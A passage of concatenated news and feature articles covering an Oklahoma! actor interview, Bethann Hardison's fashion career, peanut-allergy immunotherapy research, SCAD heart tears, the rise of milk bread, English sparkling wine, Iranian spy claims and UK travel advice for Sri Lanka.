theater goes dark and you will never sing or think about Poor Jud Fry is Dead the same way again. Though that hasnt stopped people from reciting those lyrics when they greet Vaill post show. Oh yes sometimes people sing it when they see me, says Vaill, a New Yorker who originated the role when he was a senior at Bard Collection. Or theyll say Well, look, poor Jud is alive! Its completely fascinating. There are really two camps in the audience. The You were so scary and I hated you camp and the people that get it, the ones that say I never realized this was a tragedy. On the morning he was nominated for a Drama Desk Award-Oklahoma! led with 12 nominations-and just a few days before voting for the Tony Awards closes, Vaill took some time after a two-show day to talk Cowboy and the Farmer, the cornbread at intermission, dream ballets, and Carrie at the prom. Photo credit: Little Fang Photo HE HAD NOT BEEN IN OKLAHOMA BEFORE. My first exposure to it, really, was watching the Hugh Jackman version of it on PBS. But the first time it really gut punched me was when I was in college, probably a sophomore, in someones dorm room during the early days of YouTube and we watched the Agnes de Mille dream ballet and I thought, 'What is this?' And then when I was a senior at Bard word went around that a cool downtown director named Daniel Fish was going to do the spring show. [Renowned stage director and former Bard professor] JoAnne Akalaitis said its was going to be Oklahoma!, and we had auditions before winter break. All these people came out of the woodwork-I think everyone auditioned. I sang If Ever I Would Leave you from Camelot. I got a call back for all the main roles. I was 21 years old, and I wanted to be the person who would get cast as Curly. But in the Jud scenes during the audition I thought, 'This feels more right.' Story continues Photo credit: Gary Gershoff - Getty Images I was shocked when I was cast as Jud. I didnt think it was me; it had never had been played by someone who looked like me. And it shocked me that someone saw me this way I thought I had to be this kind of actor in order to do this. Daniel Fish guided me very slowly away from that, guiding me to relax and do the material like no one had. Gradually it became the most rewarding experience of myself as an artist. It became this high water mark. And when I heard Daniel was doing it again I contacted him. Luckily he had already given my name to casting. BUT HE HAD BEEN TO OKLAHOMA. Ive been a few times. I love it out there. I actually spent the winter break after my first Oklahoma! audition at Bard in Oklahoma. AND TWO BITS IS A QUARTER. It took me a while to get this, but its a quarter, a dollar is split into eights. Jud has so little money and as he is bidding for Laurie's hamper he is just trying to get his little bit more. He's trying to say Im just as reckless as Curly Photo credit: Little Fang Photo WHAT HAPPENED IN THE SMOKEHOUSE? I understood Jud most when I thought about the scene in the smokehouse in the dark. What if you play something, instead of a cruel laugh, what if you are sincerely affected by the song? Poor Jud is dead. What if you imagine your own funeral? This is a person susceptible to fantasy who later in his song has a beautiful and tender dream. He is accused of a possessive love of Laurie but its a tender and deep one. It drives him to a manic place, but the root of it is a deep and abiding love. The jumping off part for me is what if he was truly in love with her and what if he truly imagined dying? In the second act hes in a pinball machine; the second act you are this raw nerve. IS THE LAND WE BELONG TO GRAND? I think the end of the play is quite dark. For Jud, I am thinking of all of the people who are laughed at, whose deaths are mocked, who are looked at as outsiders. This production feels like an Oklahoma! of outsiders. At the core of our production is the question of, 'What makes a community and what makes someone a part of that or not.' Jud is singing a song of community while being forcibly outside of it. I feel a tremendous amount of grief at the end. We are often forced to beat the drum in the face of its violence towards us...I feel it as a gay person. Ive been through three presidencies with this play. As the show has progressed, America has moved along with it, it seems to carry with it the rage. JUD AT THE DANCE When Jud is dancing at the Box Social I think its like Carrie at the prom. That moment when shes slow dancing with Jon Travolta before they drop the blood on her. He feels for a bit, 'I might actually get what I want.' He might actually get to be part of the community, or so he thinks. PRE-THEATER SNACKS We ate the cornbread all the time at St Anns Warehouse and regretted it by the end. I ate the chili for the first time only last week. I had them save it for me. It's so good! FUTURE DENIM JEAN CAMPAIGNS IN HIS FUTURE? No one has asked yet but I am ready and available. ('You Might Also Like',) As a model, activist, agent, consultant, documentarian and unofficial historian, Bethann Hardisons take on 50-plus years in fashion is layered to say the least. She sliced and diced much of her career in a lengthy Q&A with Fern Mallis Thursday night at 92Y. Speaking baldly, as she often does, Hardison not only entertained the crowd, but also gave them context about racial consciousness, political correctness and other debates the industry is facing. Related stories Kering Said Eyeing Settling Gucci Tax Case Time 100 Gala 2019: The Red-Carpet Looks You Need to See Tyra Banks Is on a Mission to Hire More Women of Color After being a pioneering model in New York, Hardison worked as a modeling agent for Click before starting her own agency Bethann Management in 1984. She started the Black Girls Coalition to celebrate black models in the late Eighties and led town hall-type discussions a decade later in response to the lack of diversity on American designers runways. More recently, Gucci recruited Hardison for her insights, after the luxury house was criticized for a balaclava sweater that some found racially offensive. Still at work on a documentary and a book, the New Yorker is now focused on helping established young designers develop their businesses. All in all, Hardison said her life has followed an organic path. There is nothing that I have ever wanted to do. The only thing that I have ever said that I wanted to do was to lay in a hammock. Ive never had any ambitions. Its always been what comes in front of my feet, she said. That might be underplaying her industrywide efforts, but Hardison thinks collectively, as opposed to playing favorites. Asked about the groundswell of black designers at the forefront of fashion today such as Kerby Jean-Raymond, Virgil Abloh, Heron Preston, LaQuan Smith and Romeo Hunte, Hardison said, Look, I think there are many more people that we probably dont know their names yet. The important thing is for their companies to become strong. Thats my objective right now to help design companies to have a good business. When people say, Where are they? They think were supposed to be in a clubhouse. Theres a whole bunch of them. That really gets me a little annoyed. The fact is there are designers out there. Its not an easy business for anybodyWe cant be judged by someone who is very successful and gets to represent a luxury brand compared to the guy who is trying to make sure his business doesnt go out the back door. Story continues After referencing Patrick Robinson, Tracy Reese and Ozwald Boatengs plans to show in New York next month, Mallis noted how Hardison is helping to cultivate the CFDAs next wave of black designers, to which Hardison replied she is not into labels. I just like designers. And if you look at them theyre black, she said. Black designers sounds like its a cult or a rash. Recalling a recent interview she did for BBC Radio 4 about the state of fashion and black designers, Hardison said: This always pisses me off. This is not an easy thing to be a designer. Period. But it is not easier for someone of color to be a designer. And what it takes to be that, she said. As for Guccis recent kerfuffle, Hardison said, Definitely not, its not racist. Too many people were offended by it. Many people saw it as alleged to be looking like black face. Thats how someone sees something and feels something. Thats fair. Was it the intent of the person making it, saying, Oh, Im going to go out there and make some racist thing for people. No, nobodys doing that. No intent of any design company is trying to do that.If you present something in a way, somebody may not have thought of it that way, but if you present it that way, it is. Its the same thing that happened with Burberry with Riccardo Tiscis rope necklace. But for many people, it indicated suicide or lynching. I didnt see it that way. A lot of my friends didnt see it that way Her point of view was developed through decades on the fashion scene, but getting there was a circuitous route. The way she told it she failed at NYUs art school, but her professors gave her Ds to pass because they liked her. I was so bad. I didnt know how to draw. I didnt know anything. Then they made me go to the Art Students League on 57th Street to draw the nude people. It was a mess. That led to a two-year diploma-less run at the Fashion Institute of Technology for merchandising. Around that time she had sex for the first time and got pregnant. That was a pretty awful situation, she said, recalling her familys disappointment and the odds of that happening. I always loved boys and I always had a boyfriend since I was seven years old. Staring down the laughing crowd, she said, You all are slow if you didnt have a boyfriend at seven. Youve got to be kidding me. Her mother and grandmother looked after her son for the first nine years of his life. Kadeem Hardison is an actor, who broke out as the character Dwayne Wayne in the sitcom A Different World and has since appeared in Love Is_, Showtimes Black Monday, and he has a role in a new Lee Daniels-made pilot. His mothers resume includes posts at a telephone company, a prison and a hand-painted button factory. Fascinated by law enforcement, Hardison said she was the youngest corrections officer to be appointed at a New York state prison the Bedford Hills Correctional Facility. After taking the test at 19, being appointed at 20 and starting at 21, Hardison said working in the reformatory where people were her age was scary. I had to act tough because they would challenge you. Suffering from an ulcer made her switch tracks to working in the Garment District, where pioneering African-American designer Willi Smith spotted her in the neighborhood, admired her style and arranged for her to visit him in his showroom. Presuming she was a designer, he asked her if he would design for his company and after learning that wasnt her line of work, he asked her to model. But Hardison credited Federateds Bernie Ozer, a theater-loving executive who liked to orchestrate grand shows, for giving her a big break. Delivering a Ruth Manchester junior dress to him one afternoon, she boldly said, If you really want to have a great show, youll have me in it. A proven child tap dancer, she knew she could perform in a way others could not. When you tap, you have to wow the crowd, she said. Because of child labor laws, Duke Baldwin used to have these big shows that he would put on at night. My mother had to wake me up. I found two other girls my age to tap with me. You couldnt get paid so they would throw us money. We had to collect it off the floor. It would be 10, 11, 12 oclock at night and then the next day I would have to go to school. It was mad cool. Later in life when she teamed up with Smith, she worked as a muse and his assistant. Testimony to his influence on fashion, an exhibition about his work will be staged at the Cooper-Hewitt Design Museum in February 2020. Streetwear is a tricky word right now. When youre old like I am, you resent hearing these words [credited to todays designers.] If anyone really, truly created streetwear, it was Willi Smith. The reason we called it streetwear was because whenever you were out on the street you always saw people in WilliWear. So it became streetwear, Hardison said. Hardison introduced him to Jean-Michel Basquiat at the artists gallery, and over time Smith bought six paintings from him. Having eyed another small painting for herself, Hardison recalled how she mistakenly thought Basquiat was going to give it to her, when he said he wanted to bring her something. Instead, it was a loaf-size block of marijuana. Hardison said she told the artist, Jean-Michel, Jesus Christ, this will take me a lifetime to smoke. He said, So, were good then, huh? It took me a lifetime. Hardison turned to another rising talent for her modeling test shots Bruce Weber. Unlike other models, Hardisons modeling was a side gig, as she always had another full-time job. Working for Stephen Burrows, for example, she was his assistant, ran the design studio and fit the clothes, but she also had the freedom to model. She joined Burrows in the Battle of Versailles in 1973, when leading American designers squared off with their French counterparts. The photographer Bill Cunningham and fashion editor Marylou Luther were the only other gung-ho Americans who made the trip. Describing how Halston repeatedly urged her on, Hardison said she knew she was ready, but she didnt let on. I defied everybody in that entire audience. I really let them know that we are here to take this because we have been put down so much. The American designers were nothing. Who were they to come over to Paris? she said. She added how the applause and foot stomping that ensued were comparable to a cap-throwing Naval Academy graduation at Annapolis. Another celebration worth noting was Hardison acting as Imans maid of honor when she wed David Bowie in Florence. Considerably more intimate than Versailles, that consisted of a party of four. Through Bethann Management, the founder worked with Raquel Welchs daughter Tahnee, Angela Alvarado, Mariama Diallo and other models. In the 13 years that followed, Roshumba Williams, Veronica Webb and Tyson Beckford joined her agency. Elles founder Regis Pagniez earned her praise for diversifying the models featured in the magazine. That made Vogue and any other competition catch up with what he was doing, Hardison said, adding that helped prompt her to start the Black Girls Coalition. When models of color had disappeared from the runways in 1997, Naomi Campbell got Hardison out of her hammock in Mexico to come back to New York to try to do something about it. That shift was driven by the rise of casting directors, stylists and increased scouting in Eastern Europe, Hardison said. The Eastern European girl was the flavor of the time. They had the silhouette of what we sketch as models. They are narrow-hipped, elongated and hardworking. It was just the time. There was no guard. If you have no moral compass of somebody saying something, it just changes and all of a sudden youre in the middle of the change. Regarding her legacy, Hardison preferred to define what it wouldnt be. She said, As long as it doesnt say, There lies Bethann who had a modeling agency. Hardison added, I never thought I was contributing to a movement. Ive always thought when things are happening, that we are the movement. So I think we are creating a revolution and are contributing to something. Im the person who pricks the bear. Im the one who starts it. So I never think Im contributing to it because I am it. Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. In a new review published in the Lancet, researchers came to a disappointing conclusion about recent studies on treating peanut allergies. They found that treating children by exposing them to small amounts of peanuts, which has shown success in several studies, is actually associated with an increased risk of allergic reactions, including anaphylaxis. This approach, called oral Immunotherapy, involves repeated controlled exposure to whatever is causing an allergic reaction in this case peanut allergens to retrain the immune system. Allergic reactions occur when the immune system treats benign substances, like certain foods, as if they were dangerous pathogens, like bacteria or viruses, and launches an inflammatory response. Immunotherapy is designed to teach the immune system to be less sensitive to the substances in question. Multiple studies have found that oral immunotherapy which involves feeding kids who are allergic to peanuts small amounts of peanut compounds can help children tolerate the food. But according to the Lancet analysis, which examined 12 trials involving about 1,000 patients, those encouraging results may not translate to real protection over time. While people with peanut allergies had a 7% risk of experiencing anaphylaxis a severe immune reaction in which blood pressure drops and the airways narrow, making breathing difficult without oral immunotherapy, they had a 22% risk of having a bad reaction when they were taking these drugs, the paper says. The degree of desensitization [achieved in clinical trials] is incomplete. Its not perfect, says Dr. Derek Chu, an internal medicine physician and clinical immunology and allergy fellow at McMaster University in Canada. Everything from catching a common cold to taking drugs on an empty stomach can affect the way immunotherapies work, he says. So many things can perturb it, break it or disturb it. Story continues That range in possible reactions is backed up by the variety of results from immunotherapy studies. Last November, a phase-three trial published in the New England Journal of Medicine found that an immunotherapy drug in development helped the majority of pediatric participants build immunity to peanut protein. The company developing the drug said it could be available as soon as this year, pending Food and Drug Administration (FDA) approval. Another promising study, published in 2017, suggested that immunotherapy may be especially effective when combined with probiotics. Chu who, like an estimated 6 million people in Europe and North America, is allergic to peanuts says its not totally clear why patients taking oral immunotherapies may be more susceptible to allergic reactions. It may be that people dont follow drug regimens properly, he says, or it could be something about the drugs themselves. But his analysis found that people taking these therapies had a higher risk and frequency of allergic reactions than those taking a placebo or simply avoiding peanuts, regardless of when they started treatment, their age and their drug dose and duration. Despite the disappointing results, the fundamental idea behind immunotherapy building tolerance has plenty of research behind it. Last month, the American Academy of Pediatrics issued new guidelines for parents hoping to prevent food allergies in their children. The new policies suggest that parents give children at high risk of developing peanut allergies peanut-containing foods as early as four to six months of age so they can start building immunity. But people who have already developed peanut allergies currently dont have many options, other than avoiding them completely. Chu says his findings should not be a condemnation of immunotherapy; they just show theres a need for more research. This is really the first big crack at trying to treat peanut allergy, which is a fundamental milestone, and we should celebrate that, he says. But like anything else in medicine or technology or life, the first time you do something, its not necessarily going to be perfect. Chu says researchers should continue to fine-tune oral immunotherapy, but he says they should also look into other treatments and other delivery methods, including drugs given under the tongue, topically or by injection. Further, he says more research is needed to ensure that medications that look promising in the lab actually work well outside of it, especially since food allergies are growing more common. Until that work is done, he says, the scientific community should avoid over-hyping its preliminary results. Every time I eat, am I going to be safe? he asks. Sometimes, acting on a guess when youre uncertain is more harmful than not acting at all. Spontaneous Coronary Artery Dissection Causes Sudden Tears in the Heart. Here's What It's Really Like Twice Karen Glugla, a clinical occupational therapy specialist in Michigan, has experienced spontaneous coronary artery dissection. Known as SCAD, it's a tear within the layers of the hearts arterial walls that disturbs the flow of blood to the heart, potentially leading to a heart attack or arrhythmia. Thats exactly what happened to Glugla. Her first SCAD occurred at home. The mom of four was 41 years old at the time and having an emotionally stressful day. So when she raced up the stairs and couldnt catch her breath, Glugla thought at first she was experiencing adrenaline or anxietyafter all, she had healthy arteries, low blood pressure, and no risk factors for a heart condition. I thought, theres no way I could be having a heart attack, Glugla tells Health. But then the symptoms started mounting: Her left arm felt weird, the pain grew intense, and she was sweating profusely. The chest pressure got worse, like my chest was caving in, she says. At the hospital, she was diagnosed and treated for a heart attack. It would take four yearsand another SCADfor her and her doctors to find out the underlying cause of her heart attack. RELATED: Heart Attack Signs Every Woman Should Know Glugla was home for her second SCAD event too. Maybe I was doing too much, she recalls. She was just a few days out from an unrelated surgery, and the pain and recovery likely put extra strain on her body. I sat on the couch, and it was like an elephant ran across the room and sat on my lapit was that fast, Glugla says. She remembers a strong sense of impending doom. I thought for sure I wouldnt be able to make it and say goodbye to everyone. At the hospital, she was treated for a second heart attack, which is when she heard a doctor say, This is SCAD. He looked for and found the tear and was finally able to treat her successfully. Story continues RELATED: 17 Weird Things That May Affect Your Heart Disease Risk Who's at risk for spontaneous coronary artery dissection? Luckily, this condition is very rare. SCAD is not common at all, Ileana Pina, MD, MPH, Detroit Medical Centers regional and national director of heart failure, tells Health. Ive been doing cardiology for 30 years, and I think Ive seen just three cases. Those cases, she adds, were scary. SCAD is potentially fatal in nature: That arterial tear slows or blocks blood flow to the heart, and the heart attacks or arrhythmias that can result can kill someone, Dr. Pina says. Men can experience SCAD, but this heart condition is actually most common in women, Dr. Pina adds. Often, like in Gluglas case, women who have a SCAD will be otherwise healthy without any heart conditions or risk factors. So what causes it? We have always associated it with pregnancy post-delivery, says Dr. Pina, as well as highly stressful situations (think: Gluglas emotional, stress-filled afternoon, and then later, the physical stress of recovering from surgery). Be particularly watchful if you experience preeclampsia or gestational diabetes. I usually call it a failed stress test when women develop these conditions during pregnancy, says Dr. Pina. The heart isnt able to keep up with the extra work that accompanies sustaining the placenta and the fetus. Those are problems that tell us that endothelial function may not be completely normal, and again, thats more common in women than men. (A quick note on endothelial cells: Theyre part of the lining of arteries, says Dr. Pina. They perform important functions related to blood flow.) RELATED: More Young Women Are Having Heart Attacks. This Might Be Why SCAD symptoms Symptoms are very similar to a heart attack, says Dr. Pina. Thats certainly true for Glugla, who experienced many of these common heart attack symptoms: Chest pain or pressure Profuse sweating Pain in the arm, jaw, or neck Shortness of breath SCAD happens quickly, notes Dr. Pina, so seek out emergency care immediately if you have symptomseven if you do not think of yourself as a likely candidate for a heart attack because of youth or good health. RELATED: 8 Causes of Chest Pain That Arent a Heart Attack SCAD prevention There arent really prevention tactics for SCAD, says Dr. Pina. I recommend to all women: Know your numbers, know your blood pressure, she says. And, she says, if you have hypertension, get it treated. Even if your blood pressure and sugar levels revert to normal after delivering a child, says Dr. Pina, dont let your guard down. These women will need to get follow-up [care] for the rest of their lives, she says. RELATED: 7 Numbers You Should Know for Your Heart Diagnosing and treating SCAD Since you dont know whats going on from an EKG, you need to do a cardiac catheterization and do it pretty quickly, says Dr. Pina. (This catheter, which is inserted in an artery or vein and runs to your heart, helps cardiologists make a diagnosis.) Once a tear is recognized, says Dr. Pina, the next step is to repair it, by placing a stent, performing open-heart artery bypass surgery to repair the blood vessels, or sometimes using medications to help the artery repair itself. Diagnosis often isnt easy since this condition is so uncommon. The most important thing is that clinicians need to be able to think about so they dont miss it, says Dr. Pina. Glugla agrees. If cardiologists dont know what theyre looking for, they wont recognize SCAD, she says. She mentions that recently, she visited the ER due to chest pains. "Three different doctors that saw me had no idea what SCAD wasso there is still progress to be made!" she says. I want cardiologists to know if they see a healthy woman coming into the ER with these symptoms, they should run more tests, because they can miss it. Still, things are improving. Her cardiologist diagnosed his first case of SCAD in Decembera healthy 48-year-old woman with no medical problems. Glugla's doctor told her that "because of me, he now knows what to look for." Get more on heart health here. Twenty different recipes. Six months of testing. Too many hours on YouTube. Thats how Andy Kadin taught himself to make Japanese milk bread for chefs Akira Akuto and Nick Montgomery who were preparing to open their restaurant, Konbi, in Los Angeles. A year and a half before the tiny counter serving Japanese convenience storeinspired sandwiches and pristine pastries became one of the hottest restaurants in the country, Akuto and Montgomery commissioned the Bub and Grandmas bakery owner to create one of the most important components for their signature sandwiches. They figured it would take that long to get it right. The result is the quintessence of the style: A perfectly rectangular loaf with barely a hint of crust cut into thick, even squares. It has a milky-sweet flavor and a feathery soft texture that tears into wispy strands and melts in your mouth. It has none of the naturally leavened holes or sourdough tang thats prized these days among bread nerds. Its the only enriched dough (one that includes eggs, butter, and sugar) Kadin makes at Bub and Grandmas, and Konbi is the sole recipient of the loaves baked off each morning. Courtesy of Andy Kadin/Konbi And while food writers (guilty!) fell over themselves to taste and Instagram all the sandos (yolky egg salad, perfectly layered katsu) at Konbi when it opened last October, Kadin experienced his own kind of fervor as well. Many, many chefs and customers asked us to make them milk bread, Kadin tells me. Now I get an email every other week. Kadin isnt the only baker fielding these types of requests. In Seattle, Alessandra Gordon, the breadmaker for her familys jam stand, Ayako & Family, has been hit up by local chefs, like Rachel Yang of Joule, for one-off milk bread orders. (She also helped us with this recipe we published in March.) At Patisserie Fouet in New York City, pastry chef Yoshie Shirakawa sells out all 36 loaves they bake each weekend by the afternoon. We didnt even think of putting whole loaves on the menu until we started getting a lot of requests, Shirakawa says. We cant keep up our supply. Story continues Photo by Hisanori Hatori And to meet that demand, milk bread is suddenly everywhere. Its at modern Japanese restaurants like Konbi and Pagu in Cambridge, Massachusetts. Its at not-at-all Japanese restaurants like Carpenters Hall in Austin and Kindred in Davidson, North Carolina. Its at tiny take-out counters like David Changs Peach Mart in New York City. Its at bakeries like Breadbelly in San Francisco and Patisserie Fouet. Its at high-end, small plates restaurants like The Progress, also in San Francisco, where pastry chef Nicole Krasinski shapes the dough into hot dog buns. Its at a slew of trendy openings like nearby Stonemill Matcha, where pastry chef Mikiko Yui makes her own milk bread because chefs like Krasinski got their colleagues obsessing over it too. To put it in restaurant trend terms, milk bread is having its cacio e pepe moment. Its now become a requisite on cool restaurant menus, and its not going anywhere. In fact, its presence is growing. Legend has it that milk bread may have been actually invented by British baker Robert Clarke, who opened Yokohama Bakery in Japan back in 1862. At least thats what Annie Sheng, an anthropologist studying Asian bread at Cornell University, has pieced together in her own research. But even for her, its hard to say when milk bread, known as shokupan (food bread) in Japan, officially came onto the scene. Shokupan is a general term for a loaf you cut and slice and toast into sandwiches, Sheng tells me. That makes it hard to tie down in an easy definition. Its also why theres variability among recipes. Some milk bread is made with yudane, a sandy flour-and-water paste that gives the loaf the right bounce and a longer shelf life. Others call for tangzhong, the Chinese equivalent, made of a warmed milk-and-flour slurry. Some are just a mix of flour, milk or water, sugar, salt, active dry yeast, and on occasion butter. Some loaves are shaped like a flat-topped Pullman, known as kaku-shoku in Japan, or rippled with rounded ridges in the Yamagata style. Others are kind of twisted like a corkscrew before baked. All this is to say, the method and shape may be different, but that combination of flour, some kind of liquid, sugar, salt, and yeast all lead to one thing: cottony shokupan. The closest thing to milk bread in the U.S. is bland, shaggy-textured supermarket white bread we ate as kids. Its not a far stretch. They both have soft and pillowy insides, very little crust, and an extremely mild but crowd-pleasing flavor. That said, they have one key difference: Typically shokupan is far more enriched, meaning it contains more fat, says Larissa Zhou, a food scientist who worked on Modernist Bread. In her research for the groundbreaking, five-volume, 2,500-page book, she found that shokupan had nearly seven times the fatcoming from either butter or milk or bothas regular white bread. Photo by LoriLynne Rice Generally carbs in loaf-form arrived in Japan with the Dutch and Portuguese in the 16th century. Most Japanese households didnt have ovens, so bread never stuck as an essential food. Instead, according to Eric Rath, a history professor at the University of Kansas and an author of a number of Japanese food history books, the Japanese considered bread a snack, which lead to a preference for sweeter bread, like the 1874 invention of adzuki beanstuffed anpan. Around World War II, we start seeing bread as a staple in Japan, mainly because rice became scarce and expensive just as American supplies of wheat and yeast were coming in. When rice was rationed during wartime, there was an emphasis on making bread, Rath explains to me. There were even recipes for patriotic breads, made with seaweed and vegetables. By the 1950s, bread took off as rice consumption went down by 50 percent and started replacing the usual rice served alongside soup or, say, a fried pork cutlet. But it wasnt until the late 1970s that konbini, 24-hour Japanese convenience stores, started popping up and selling sandos as we know them today. Rath and Sheng arent exactly sure when milk bread reached the States, but Sheng theorizes that it could have come with the birth of Japanese grocery stores like Mitsuwa in the late 1990s, followed by the arrival of Asian bakery chains like South Koreas Paris Baguette and Taiwans 85 Degrees C in the early 2000s. With these places came their mass-produced versions of the flat, square milk bread that stayed perennially soft from dough conditioners and shortening. This was the milk bread I, along with many chefs and bakers I spoke to, grew up with. But its nothing like the kind of milk bread appearing on menus around the country right now. Courtesy of Pagu Before the recent boom, milk bread wasnt taken all that seriously in the U.S.at least not in the same way that bakers have obsessed over, say, sourdough. Thats probably due in part to our limited exposure to it: All weve known for decades is the industrialized, additive-enhanced sandwich bread. Made with so many extras, its not particularly challenging or exciting to makeand in turn, not considered an opportunity to flaunt your skills as a baker. But it might also be because European-style baked goods, especially French, have long been considered the pinnacle of pastry art both for Americans (ever heard of bread bros?) as well as bakers abroad in Asia. My mom was telling me that milk bread is not a bread. Thats what the French said in a documentary she was watching, Yui remembers. I think for certain people this bread isnt considered an artisanal bread. But now bakers, especially Asian and Asian-American ones, are reclaiming boring old sandwich bread and making it artisanal. Which isnt as easy as everyone thought. Making a perfectly fluffy loaf requires rigorous R&D, patience, and passion. At Ayako & Family, Gordon spent months testing doughs with a Japanese pastrytrained friend to develop a recipe for milk bread that didnt include the typical additives (dough conditioners, vital wheat gluten) used in industrial baking. Chef Tracy Chang is working with Harvard undergrads to figure out how to get more local and freshly milled grains into her milk bread at Pagu. At Breadbelly, chefs Katherine Campecino, Clement Hsu, and James Wong relied on their collective experience as pastry cooks at Atelier Crenn to reverse-engineer the milk bread they tried all over San Franciscobut without the dough extenders or highly refined white flour they saw others using. They ended up sourcing their flour from a farm in Utah through Central Milling in Petaluma, California. It took a few months tinkering with the tangzhong and the shaping technique until they finally created a milk bread that not only fulfilled their initial craving but was also something they could feel proud of. Courtesy of Breadbelly There are a lot of Asian-American chefs who came through high-end kitchens and are now doing their own thing, tracing back to what they grew up with and finding ways to re-create those memories and flavors, but with the resources and techniques to make it even more delicious, Wong explains. And this new generation of chefs and their current obsession with milk bread points to something we havent really seen before: the glorification of an Asian bread tradition. Not noodles, not dumplingsbut fluffy, everyday milk bread. Why are people making milk bread now? Hsu poses. Maybe its because there are more Asian-American chefs. Or maybe its because its the new American bread. Prince Harry and Meghan Markle's baby is expected to arrive any day now, which means many royal watchers are ready to break out the bubbly. Instead of champagne, we suggest toasting the new baby with a bottle of British sparkling wine. Thanks to England's recent ascent as a leading producer of sparkling wines, there are now more options than ever so you can pop the cork of British fizz on this royal occasion. Sparkling wine out of England may sound a bit bonkersand it's true that the British Isles' chilly climate has traditionally been unfriendly to winemaking. The world's best-known sparkling wines come from France, Italy, Germany, and the U.S. But in what might be one of the only silver linings of global warming, rising temperatures have had a positive effect on the production of British wine. Warmer weather has made it possible to cultivate perfectly ripe grapes in an unexpected swath of the Southeast English countryside, and the result is that the counties of Sussex, Kent, and Hampshire have been transformed into prime sparkling wine country. Wineries such as Chapel Down and Hattingley Valley, which have been around for 18 and 11 years, respectively, are expanding. The Wine and Spirit Trade Association, which represents more than 300 companies that produce, import, export, transport and sell wines in the UK, says 2017 was a banner year for English wine (most of which is white or sparkling), andtruly a reason to toastestimates that English sparkling wine production will double by the year 2022 to approximately 10 million bottles annually. Will Americans sip any of these wines? You bet. Industry experts say at least a quarter of those 10 million bottles will make it to the United States, at both top restaurants and retailers. Earlier this month, Hattingley Valley signed a nationwide deal with Whole Foods to make its Classic Reserve the first English sparkling wine to be available all across the U.S. And in what may be the biggest endorsement of English sparkling wine, the results of blind taste tests revealed it can hold its own against famous French Champagne houses. Chapel Down's Brenton Blanchard, points out that the conditions in Southeast England are ripe for growing chardonnay, pinot noir, and pinot meunier (the three classic champagne varietals)after all, the region is just 200 miles north of France's fabled Champagne region. Many French houses are even investing in vineyards in the south of England; earlier this year, Vranken-Pommery became the first big Champagne house to release an English sparkling wine. Whether or not the royals themselves raise a glass of local bubbly to their newest member (Chapel Down's Rose Brut was reportedly served at Will and Kate's 2011 wedding), there's good reason to do so on this side of the pond. Known for its fresh, almost electric jolt of acidity, and a bracing minerality and orchard fruit aroma, British bubbly certainly deserves stateside recognition. Cheers! Iranian Intelligence Minister Mahmoud Alavi answers questions from lawmakers in an open session of parliament in Tehran, Iran, in 2016. (Photo: Ebrahim Noroozi/AP) WASHINGTON Iranian Intelligence Minister Mahmoud Alavi boasted last week, without details, that his department had uncovered nearly 300 CIA agents and other Western spies around the world in an ongoing mole hunt, as well as disrupted violent terror cells and anti-revolutionary groups, according to reporting from Iranian media outlets. Alavi, a midranking conservative cleric, was appointed to his role in Irans Ministry of Intelligence and Security in 2013 following the swearing in of President Hassan Rouhani. His remarks, likely intended to boost the role of the Intelligence Ministry within Iran, came on the heels of increasing U.S. pressure on the Islamic regime, including the State Departments recent designation of the Islamic Revolutionary Guard Corps (IRGC), an arm of the Iranian government, as a terrorist group, as well as recent additional sanctions. He told observers during Friday prayers that his ministry had discovered agents working for both the CIA and British foreign intelligence agency MI6. Meanwhile, Irans military appeared to be experiencing its own period of turmoil. On Wednesday, the website for the Islamic State of Iran Crime Research Center, an anti-regime Washington-based nonprofit, published an article claiming IRGC commander Brig. Gen. Ali Nasiri had defected and escaped Iran. A website affiliated with Lebanese militia group Hezbollah reportedly first posted and then removed news of Nasiris defection. The Trump administration has ratcheted up pressure on Iran over the past year, including pulling out of the Obama-era Joint Comprehensive Plan of Action, even though the International Atomic Energy Agency has said Tehran was complying with the agreement, which was designed to limit the regimes nuclear development. Critics of the nuclear deal say it is already effectively dead, and argue Tehran was ramping up missile testing and supporting violent proxy forces abroad long before President Trump pulled out of the agreement. Story continues Iran has only grown more belligerent, wrote the editorial board of Bloomberg News on Wednesday. If an agreement limited to nuclear weapons was too narrow in 2015, Irans actions since have made such a deal entirely insufficient. Its unclear how what appears to be internal rivalry between Irans Intelligence Ministry and the IRGC will proceed. According to a research study conducted by the Congressional Research Service, primarily conducted through Farsi and English blogs in Iran, the IRGC is required to report its activities to the Ministry of Intelligence, which is the highest intelligence authority in Iran. But the IRGC, along with the Intelligence Ministry, both report directly to Irans supreme leader. In announcing Irans latest arrest of alleged spies, Alavi, the intelligence minister, cited a Yahoo News investigation revealing that a global network of CIA-recruited agents had been discovered. However, he appeared to inflate the number of supposed agents identified tenfold, from around 30 to nearly 300 and implied that the compromise was an ongoing problem for the United States and its recruits. While former intelligence officials told Yahoo News last year that the compromised system is still not completely fixed, the extent to Alavis claims are true, or has resulted in more arrests or deaths, is unclear. The CIA did not respond to request for comment, and the State Department told Yahoo News it declined to comment on intelligence matters. However, this is not the first time Alavi has boasted about a roll-up of spies within Irans ranks. In August 2018, just months after Trump decided to withdraw from the Iran deal and reimpose sanctions, Alavi claimed that his ministry had locked up tens of spies inside Iranian government agencies. The IRGC, according to reports, also charged many dual-nationals inside its ranks with espionage in recent years. Experts on Iran and its national security apparatus point out that Iran has a history of exaggerating its intelligence triumphs. One former intelligence official familiar with the compromise uncovered by Yahoo News in 2018 told Yahoo that the new statements made by Alavi were not in line with the facts. Behnam Ben Taleblu, a senior fellow at the Foundation for Defense of Democracies who focuses on Iranian security and politics, agreed with this assessment, noting Iran has a long history of inventing spies and conflating criminal and national security charges. The increasing U.S. pressure through sanctions gives Iran even more incentive to misrepresent its capabilities, Ben Taleblu argued. A closer look reveals that beyond rhetoric, Iran is having a hard time signaling that it can respond to America with threats of its own, he continued. Manufactured political and legal charges could be just what the Ayatollah ordered to bolster Iranian deterrence. Read more from Yahoo News: LONDON (Reuters) - Britain said terrorists were likely to try to carry out further attacks in Sri Lanka and warned its nationals to avoid the country unless it was absolutely necessary following the Easter Sunday bombings that killed 359 people. The British Foreign Office said future attacks could be indiscriminate, including in places visited by foreigners. "Following the horrific attacks on Easter Sunday, and the ongoing Sri Lankan security operation, I have ... decided to update the travel advice to British nationals to Sri Lanka to advise against all but essential travel," Foreign Secretary Jeremy Hunt said. "We will keep this decision under close and constant review." In its updated travel advice it added: "Terrorists are very likely to try to carry out attacks in Sri Lanka." Most of the victims in Sunday's attacks were Sri Lankans, although authorities have said at least 38 foreigners were killed, many of them 